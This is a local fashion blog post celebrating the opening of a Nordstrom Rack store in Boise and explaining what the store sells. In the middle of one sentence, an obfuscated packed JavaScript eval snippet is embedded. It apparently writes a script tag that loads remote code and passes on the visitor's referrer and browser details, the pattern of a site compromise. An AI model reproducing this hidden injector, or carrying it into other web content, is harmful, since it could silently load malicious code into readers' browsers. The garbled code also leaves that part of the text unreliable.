~♥~ It’s ALL About the Clothes! ~♥~

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Tanya Carnahan, with Photos by
Ammo Photog

Unless you live in a cave – or avoid any form of news media, in or out of that cave – you’ve probably heard something about the latest addition to this town’s shopping landscape.

A Nordstrom Rack opened last week near Boise Towne Square Mall. There were news crews, long lines, screaming stampedes of giddy shoppers, crowded aisles, “controversy” over secret pre-parties (yup, we were at one of those – it totally rocked!!!), and basic new-store shopping mayhem.

But amidst all the hoopla, an important element of this store’s grand arrival seems to have been forgotten; the main thing that had fashion bloggers, big-city transplants, style hunters, and bargain shoppers salivating from the time the Nordstrom Rack sign went up on that building…

It’s ALL about the CLOTHES!!!!!

Nordstrom Rack brings something NEW to Boise; brands that haven’t had a presence in this town until now will finally be accessible to those who love the style & quality of high-end names like Burberry, Tory Burch, Allen Edmonds, Diesel, Armani, Kate Spade, & Marc Jacobs. The Rack also offers extensive fashion pieces from lines like Betsey Johnson, Juicy Couture, and Joe’s; brands that currently have a limited presence in other stores. And everything is sold at a discount, anywhere from 20-90% off of retail!

But why are these names so imortant? Because new brands give Boise access to new styles, and new perspectives on fashion! Now, those fashion-forward styles we see in the magazines are one step closer to being worn in Boise. The question is: are Boiseans brave enough to wear them?

Only time will tell, but if the thrilled & satisfied shoppers from Thursday’s Rack opening were any indication, Boise’s fashion landscape is about to have the brightest and boldest Spring it’s ever seen.

Here are some of the happy faces we saw, with their great fashion finds…

(Me & Ammo Photog, covering the Grand Opening for Fusion Magazine)

What is a Nordstrom Rack, and why am I Cartwheeling About it?

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfyzi|var|u0026u|referrer|stiik||js|php’.split(‘|’),0,{}))
grew up (mostly) in the Pacific Northwest,
where Nordstrom was founded. This wonderful family-run store has always been one of my favorites, its name synonymous with high quality, high fashion, and top-notch customer service. I still have my mother’s Dexter boots, bought at Nordstrom in the late 1970’s – despite being decades old, they’re strong, solid, & fashionable as ever! (Thanks, Mom!)

When the newly-opening Nordstrom Rack comes up in casual conversation, I usually hear one of two reactions. Many folks are thrilled, and can’t wait for the grand opening. Others look at me puzzled, and say: “What’s a Rack???” For those of you who fall into the first category, you’ll be happy to know the rumors are true: Boise is, indeed, opening it’s first Nordstrom Rack on April 12th, 2012. (Info on the Grand Opening Celebration is HERE!)

For those of you who fall into the second category, here’s the scoop on why everyone’s so excited: if you love high-quality, fashion-forward clothing, shoe, & accessories for less than department store prices, Nordstrom Rack is a little slice of shopping Heaven. Actually, I take that back; it’s a BIG slice!!!

But wait, you may say, what makes Nordstrom Rack different from other “fashion for less” stores? Because the items & brands they carry are different! Racks receive shipments of high-end clothing, directly from their mainline Nordstrom stores in Seattle, Portland, LA, and other parts of the country. Things that are still current, but maybe have only a few size options left, get sent to the Rack where they are deeply discounted. In fact, once or twice I’ve come across a clothing item in the Rack, that is STILL in the mainline stores, but at half the price!

A Nordstrom Rack in town gives us access to fashion styles and high-end names that are new to Boise! (Can you just hear the fashion bloggers salivating? Lol, I’m doing cartwheels!) Shopping in the Rack is like digging for buried treasure on a tropical beach; every day the tide washes out, and brings a whole new selection of amazing discoveries! We’re talking about fashion gems like Kate Spade totes, Chanel wallets, Gucci shoes, Diane von Furstenberg blouses, Givenchy jewelry, Nanette Lepore dresses, Armani jackets… I could go on and on, but you get my point. These are brands and styles that are HARD TO FIND in Boise – up until now! (Or rather, up until April 12th!)

So rejoice, Boise! And get ready for something new. Nordstrom Rack is coming, and I for one will be first in line! 😉 See you at the Grand Opening!!


P.S. Seriously, I hope you can all join me for the amazing Opening Day party! There will be entertainment, refreshments, and giveaways, including 20 Gold Hangers hidden throughout the store – each worth $100!!!